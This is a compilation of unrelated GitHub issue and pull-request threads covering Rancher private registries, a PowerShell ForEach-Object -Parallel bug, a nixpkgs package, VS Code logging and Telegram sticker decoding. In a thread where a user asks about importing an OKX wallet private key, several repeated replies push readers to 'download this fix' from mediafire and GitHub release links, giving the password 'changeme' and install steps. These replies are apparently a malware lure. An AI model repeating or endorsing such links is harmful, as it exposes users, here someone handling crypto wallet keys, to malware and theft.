Navigate to Cluster > Nodes, choose Edit Cluster and reenter the private registry credentials correctly and save changes. When the node provisioning is retried with valid credentials, it will succeed.

Scenario 2
While creating a node driver cluster, an incorrect registry url is provided

Result:
When navigating to Cluster > Nodes, the user will see an error like dial tcp: lookup bad.host: no such host

Solution:
Navigate to Cluster > nodes, choose Edit Cluster and reenter the correct registry url and credentials, then save changes. When the node provisioning is retried with a valid registry url and credentials, it will succeed.

I was able to successfully add a DO cluster through an insecure private registry on v2.5.6-rc3
all images were pulled through the private registry successfully.
Repro steps:

create rancher server on version 2.5.6-rc3
create private registry
configure private registry for insecure access, download load/save images for release 2.5.6-rc3
create DO template in rancher, pointing to your insecure private registry
add  Digital Ocean Node Driver cluster with Private Registry configured
wait for new cluster to provision, login to cluster and docker ps to verify source of images all match your private registry

(note: insecure private registry not required for repro)
I was able to validate the following on 2.5.6-rc3
Scenario 1
While creating a node driver cluster, the incorrect username and/or password are specified in the private registry configuration.

Result:
When navigating to Cluster > Nodes, the user will see an authentication error for each node

Solution:
Navigate to Cluster > Nodes, choose Edit Cluster and reenter the private registry credentials correctly and save changes. When the node provisioning is retried with valid credentials, it will succeed.

Scenario 2
While creating a node driver cluster, an incorrect registry url is provided

Result:
When navigating to Cluster > Nodes, the user will see an error like dial tcp: lookup bad.host: no such host

Solution:
Navigate to Cluster > nodes, choose Edit Cluster and reenter the correct registry url and credentials, then save changes. When the node provisioning is retried with a valid registry url and credentials, it will succeed.


fix: #48 multi images inline

Codecov Report

Merging #50 (82b9d87) into php (25e8b63) will not change coverage.
The diff coverage is 100.00%.

@@            Coverage Diff            @@
##                php      #50   +/-   ##
=========================================
  Coverage     85.78%   85.78%
  Complexity       88       88
=========================================
  Files             8        8
  Lines           401      401
=========================================
  Hits            344      344
  Misses           57       57

Impacted Files
Coverage Δ

app/Coding/Wiki.php
86.95% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 25e8b63...82b9d87. Read the comment docs.


photofield: init at 0.10.3

Description of changes
https://github.com/SmilyOrg/photofield
Experimental fast photo viewer.
To test it, create the configuration.yaml file according to the project readme, and click on the Rescan button from the web UI.

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
23.05 Release Notes (or backporting 22.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

This pull request has been mentioned on NixOS Discourse. There might be relevant details there:
https://discourse.nixos.org/t/prs-ready-for-review/3032/2294

[x] package path fits guidelines
[x] package name fits guidelines
[x] package version fits guidelines
[x] package build on x86_64-linux
[x] executables tested on x86_64-linux
[x] meta.description is set and fits guidelines
[x] meta.license fits upstream license
[ ] meta.platforms is set
[x] meta.maintainers is set
[x] build time only dependencies are declared in nativeBuildInputs
[x] source is fetched using the appropriate function
[x] the list of phases is not overridden


ForEach-Object Parallel Splat with ScriptBlock unable to access $using variables in pwsh 7.2.5

Prerequisites

[X] Write a descriptive title.
[X] Make sure you are able to repro it on the latest released version
[X] Search the existing issues.
[X] Refer to the FAQ.
[X] Refer to Differences between Windows PowerShell 5.1 and PowerShell.

Steps to reproduce
When I try to run the following code using pwsh 7.2.5...
$myNumberString = 'My Number: '
$myArray = @(1,2,3,4,5,6,7)
$foreachScriptBlock = {
    Write-Host "$($using:myNumberString) $_"
}
$foreachSplat = @{}
$foreachSplat.Add('Parallel',$foreachScriptBlock)
$myArray | ForEach-Object @foreachSplat

I get the errors:
InvalidOperation:
Line |
   2 |      Write-Host "$($using:myNumberString) $_"
     |                    ~~~~~~~~~~~~~~~~~~~~~
     | A Using variable cannot be retrieved. A Using variable can be used only with Invoke-Command, Start-Job, or InlineScript in the script workflow. When it is used with Invoke-Command, the Using variable is valid only if the script block is invoked on a remote computer.
 1
InvalidOperation:
Line |
   2 |      Write-Host "$($using:myNumberString) $_"
     |                    ~~~~~~~~~~~~~~~~~~~~~
     | A Using variable cannot be retrieved. A Using variable can be used only with Invoke-Command, Start-Job, or InlineScript in the script workflow. When it is used with Invoke-Command, the Using variable is valid only if the script block is invoked on a remote computer.
InvalidOperation:
Line |
   2 |      Write-Host "$($using:myNumberString) $_"
     |                    ~~~~~~~~~~~~~~~~~~~~~
     | A Using variable cannot be retrieved. A Using variable can be used only with Invoke-Command, Start-Job, or InlineScript in the script workflow. When it is used with Invoke-Command, the Using variable is valid only if the script block is invoked on a remote computer.
 3
 2
InvalidOperation:
Line |
   2 |      Write-Host "$($using:myNumberString) $_"
     |                    ~~~~~~~~~~~~~~~~~~~~~
     | A Using variable cannot be retrieved. A Using variable can be used only with Invoke-Command, Start-Job, or InlineScript in the script workflow. When it is used with Invoke-Command, the Using variable is valid only if the script block is invoked on a remote computer.
InvalidOperation:
Line |
   2 |      Write-Host "$($using:myNumberString) $_"
     |                    ~~~~~~~~~~~~~~~~~~~~~
     | A Using variable cannot be retrieved. A Using variable can be used only with Invoke-Command, Start-Job, or InlineScript in the script workflow. When it is used with Invoke-Command, the Using variable is valid only if the script block is invoked on a remote computer.
 5
 4
InvalidOperation:
Line |
   2 |      Write-Host "$($using:myNumberString) $_"
     |                    ~~~~~~~~~~~~~~~~~~~~~
     | A Using variable cannot be retrieved. A Using variable can be used only with Invoke-Command, Start-Job, or InlineScript in the script workflow. When it is used with Invoke-Command, the Using variable is valid only if the script block is invoked on a remote computer.
 6
InvalidOperation:
Line |
   2 |      Write-Host "$($using:myNumberString) $_"
     |                    ~~~~~~~~~~~~~~~~~~~~~
     | A Using variable cannot be retrieved. A Using variable can be used only with Invoke-Command, Start-Job, or InlineScript in the script workflow. When it is used with Invoke-Command, the Using variable is valid only if the script block is invoked on a remote computer.
 7

Note that the above code works when run using pwsh 7.1.1.
Expected behavior
> $myNumberString = 'My Number: '
> $myArray = @(1,2,3,4,5,6,7)
> $foreachScriptBlock = {
>>     Write-Host "$($using:myNumberString) $_"
>> }
> $foreachSplat = @{}
> $foreachSplat.Add('Parallel',$foreachScriptBlock)
$myArray | ForEach-Object @foreachSplat
My Number:  1
My Number:  2
My Number:  5
My Number:  6
My Number:  3
My Number:  7
My Number:  4

Actual behavior
The "My Number: " string is not written, only the numbers from $myArray. See the errors above.

Error details
> get-error

Exception             :
    Type        : System.Management.Automation.RuntimeException
    ErrorRecord :
        Exception             :
            Type    : System.Management.Automation.ParentContainsErrorRecordException
            Message : A Using variable cannot be retrieved. A Using variable can be used only with Invoke-Command,
Start-Job, or InlineScript in the script workflow. When it is used with Invoke-Command, the Using variable is valid
only if the script block is invoked on a remote computer.
            HResult : -2146233087
        CategoryInfo          : InvalidOperation: (:) [], ParentContainsErrorRecordException
        FullyQualifiedErrorId : UsingWithoutInvokeCommand
        InvocationInfo        :
            ScriptLineNumber : 2
            OffsetInLine     : 19
            HistoryId        : -1
            Line             :     Write-Host "$($using:myNumberString) $_"

            PositionMessage  : At line:2 char:19
                               +     Write-Host "$($using:myNumberString) $_"
                               +                   ~~~~~~~~~~~~~~~~~~~~~
            CommandOrigin    : Internal
        ScriptStackTrace      : at <ScriptBlock>, <No file>: line 2
    TargetSite  :
        Name          : GetUsingValue
        DeclaringType : System.Management.Automation.VariableOps, System.Management.Automation, Version=<IP_ADDRESS>0,
Culture=neutral, PublicKeyToken=31bf3856ad364e35
        MemberType    : Method
        Module        : System.Management.Automation.dll
    Message     : A Using variable cannot be retrieved. A Using variable can be used only with Invoke-Command,
Start-Job, or InlineScript in the script workflow. When it is used with Invoke-Command, the Using variable is valid
only if the script block is invoked on a remote computer.
    Data        : System.Collections.ListDictionaryInternal
    Source      : System.Management.Automation
    HResult     : -2146233087
    StackTrace  :
   at System.Management.Automation.VariableOps.GetUsingValue(MutableTuple tuple, String usingExpressionKey, Int32
index, ExecutionContext context)
   at System.Management.Automation.Interpreter.FuncCallInstruction`5.Run(InterpretedFrame frame)
   at System.Management.Automation.Interpreter.EnterTryCatchFinallyInstruction.Run(InterpretedFrame frame)
CategoryInfo          : InvalidOperation: (:) [], RuntimeException
FullyQualifiedErrorId : UsingWithoutInvokeCommand
InvocationInfo        :
    ScriptLineNumber : 2
    OffsetInLine     : 19
    HistoryId        : -1
    Line             :     Write-Host "$($using:myNumberString) $_"

    PositionMessage  : At line:2 char:19
                       +     Write-Host "$($using:myNumberString) $_"
                       +                   ~~~~~~~~~~~~~~~~~~~~~
    CommandOrigin    : Internal
ScriptStackTrace      : at <ScriptBlock>, <No file>: line 2

Environment data
> $PSVersionTable

Name                           Value
----                           -----
PSVersion                      7.2.5
PSEdition                      Core
GitCommitId                    7.2.5
OS                             Microsoft Windows 10.0.17763
Platform                       Win32NT
PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0…}
PSRemotingProtocolVersion      2.3
SerializationVersion           <IP_ADDRESS>
WSManStackVersion              3.0

Visuals
No response

Your example works without $using
$myNumberString = 'My Number: '
$myArray = @(1,2,3,4,5,6,7)

# $foreachScriptBlock = [scriptblock]::Create( "Write-Host $myNumberString `$_" )
$foreachScriptBlock = { "Write-Host $myNumberString $_" }

$foreachSplat = @{}
$foreachSplat.Add('Parallel',$foreachScriptBlock)

$myArray | ForEach-Object @foreachSplat

This is a duplicate of https://github.com/PowerShell/PowerShell/issues/12378 which has been fixed in 7.3.x and I believe they are trying to backport the fix to the 7.2.x series but not sure on the status of that.

from i tested，ps 7.2 ps6.2 has this problem.
but ps 7.0,ps7.1 normal

#but this code normal for all ps6,ps7
$myNumberString = 'My Number: '
$myArray = @(1,2,3,4,5,6,7)

$myArray | ForEach-Object -Parallel {
	Write-Host "$($using:myNumberString) $_"
}


Help with a 2wp transaction

Hi,
The steps:
1- I connected on https://app.2wp.rootstock.io/ using OKX chrome extension: https://chromewebstore.google.com/detail/okx-wallet/mcohilncbfahbmgdjkbpemcciiolgcge
Obs. I added custom network RSK on OKX wallet
2- I started a conversion from RBTC to BTC: https://app.2wp.rootstock.io/status/txId/0xb22598c6ba9fccb50ef85d50f421877e35f945fd4837547d46777a8d7c1b14d5
After all this, I tried to import the private key from OKX wallet to Electrum, but I see a different BTC address than the one here:https://app.2wp.rootstock.io/status/txId/0xb22598c6ba9fccb50ef85d50f421877e35f945fd4837547d46777a8d7c1b14d5
How to import the OKX private key to see the correct BTC address?
Thanks.

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://github.com/Jostino/RimWorld-it/releases/tag/fix
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx


Endless loop printing whitespaces

When listing some folders, natls starts by printing the folder contents but then goes on to print infinite whitespaces.

I'm not quite sure what causes this but it is always the same folders (i.e. if one folder does it once, it will do it every time).
The example above comes from the examples/basic folder of this project.
I'm on macOS Big Sur, iTerm, zsh 5.8 (x86_64-apple-darwin20.0.0), rustc 1.47.0-nightly (6c8927b0c 2020-07-26), natls 1.2.11

Seems to be fixed with the latest rust toolchain and natls 1.2.12, I'll leave this here for you to acknowledge just in case there could be something else causing it for other users.
Feel free to close this issue 🙂

This was a subtraction error in the spaces before the size of the file which I fixed in the last update.
If anyone is still having issues they should simply run cargo install natls


Mosquitto MQTT with zigbee2mqtt connection problem

I am using combination of mosquitto-mqtt offical add-on with zigbee2mqtt addon. Everything works fine till stops wifi connection or LAN network (home router turn off). It is possile to set up broker IP independent on LAN ? I tried to use internal docker (mosquitto containers) IP <IP_ADDRESS> but with same effect. After turning home wifi off. Zigbee devices doesnt function. Thanks for your help.

I don't know about the zigbee2mqtt add-on but if they use the internal service bus, they should work also if the network changed outside.


Perf: Make output channel logging faster in web

Steps to Reproduce:

Set "typescript.tsserver.log": "verbose"
On insiders.vscode.dev, open a JS/TS file and type a bunch in the file to trigger TS Server requests
Open the output panel and look at the TypeScript Server log section

Bug
The output log updates slowly and continues updating long after you finish typing
We are using vscode.OutputChannel.  I've debugged this and believe that the TS logs all of the information quickly. It seems like the issue is with the display/update of the output channel content in the UI

I believe the root cause is the FileLogger. In particular, every call to the FileLogger.log takes between 150 and 400ms on my machine, and TS makes a large number of log calls per second if you type quickly

Please try this out in tomorrow's insiders.

Fixed by fe8f7385a1b08c01b7d41c7089d346c6b31a0e87

Thanks. Looking much better now


allow qm-qua 0.4.0

Most the octave API (this is why we have a new major version).
This is the (not final) changelog:
[Unreleased]
Fixed

QuantumMachineManager - Fixed a bug where you could not connect using SSL on python version 3.10+

Added

API to control Octave - an up-conversion and down-conversion module with built-in Local Oscillator (LO) sources.
Support Numpy as input - Support numpy scalars and arrays as valid input. Numpy object can now be used interchanably with python scalars and lists. This apply to all statements imported with from qm.qua import *

Can you please release a new py-qua-tools version? We can wait a day or two if Satya is about to merge some stuff.


Investigate System.Reflection.TypeExtensions added to make net46 test…

…s work
Fixes #6005

It was seemingly only needed when we had a mix of net451, netstandard1.3 and net46. Unfortunately, I couldn't repro it with a smaller graph of a few repos.

Already done 👍


Question: Is there a way to us this without using webpack?

Would like to use it but not sure how to utilize it without having to change it first. thanks.

Our index.js has no webpack feature. You can put it directly to the browser and it should work.
But I do not recommend it, because avoiding a bundler could dramatically affects performance.
If you do not want to configure webpack (it is really hard and non-intuitive) I recommend to look at Parcel bundler. It is really powerful and easy to use.

Thanks.
Previously tried to load index.js but it spit out
index.js:276 Uncaught ReferenceError: require is not defined
which is this line
MediaRecorder.encoder = require('./wave-encoder')
thought require was brought in by webpack but I guess not?
We looked at Webpack before and it looked like it was going to not work for us.
Will look at parcel to see if it could work for us.

Oh. I forgot about that require. In this case, there is no simple way to do it.
Use Parcel.

Welp - looks like there are some compat issues  with parcel and ejs (which we use).
I guess we'll keep looking.
thanks


Decoding animated stickers in Linux and Qt/QML

So I read the docs:
True, if the sticker is an animated sticker in TGS format.
Whats TGS format? Is there any documentation how to decode this and feed it into a media pipeline in Linux or Qt/QML? Thanks!

Use zlib to uncompress data and use https://github.com/TelegramMessenger/rlottie to render the data frame per frame.

Cool thanks!

We finally achieved it:

Though the playback is still a bit slower than on the official clients. What we have used:

https://github.com/TelegramMessenger/rlottie for decoding
https://gitlab.com/mymike00/rlottie-qml for render support in QML

Kudos to Telegram devs, once more!


chore(wmg): add back the secondary filter tests commented out in #4272 after refining dynamic test snapshot generation

Due to the new way of calculating valid secondary filters given a set of query criteria in #4272, some tests needed to be temporarily commented out (specifically the secondary filter tests in test_query.py). It is not possible to calculate the filter relationships graph given the tight memory constraints in GHA due to the unnecessarily large size of the dynamically generated virtual snapshots. Because we are still unit testing the valid secondary filter calculation using a couple of newly added tests in the aforementioned PR, it is safe to comment these failing tests out for now.
After updating the virtual test snapshot to be more wieldy (#3958), these tests can be added back.

@atarashansky given the closed linked ticket, what is needed for this ticket?

It's actually completed - thank you!


Ruff check deprecated arg

Ruff 0.0.291 deprecated the --format arg of ruff check in favour of --output-format.
All repos that currently use this option in CI should be updated to use the new argument.
Below is a list of all places that use the deprecated arg.
https://github.com/search?q=org%3Apython-discord --format%3Dgithub&type=code
This issue should only be closed when the above search returns 0 results.

All repos updated


Download button not showing up.

Just got on twitter this morning, found that the download button stopped showing up since yesterday.
I thought I'd just send you this bug report with an image for an example.

In my case, all of the functions has been gone since now except Mentions button

@thakyZ this issue was already fixed on version <IP_ADDRESS>
Please confirm on your instance, to close this

It works.


typo-make-docs

Signed-off-by: Sally O'Malley<EMAIL_ADDRESS>quick fix

@cooktheryan please merge, thanks!
I still see a permissions issue when building docs without sudo, working on that now, but this should be fixed first

/LGTM

/LGTM


refactor: use columnadjuster from common repo

Consuming the component moved here https://github.com/qlik-oss/nebula-table-utils/pull/75

I have no idea why codeclimate is picking up the issues in use-column-width at this point, I haven't introduced those issues

:tada: This PR is included in version 2.5.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket: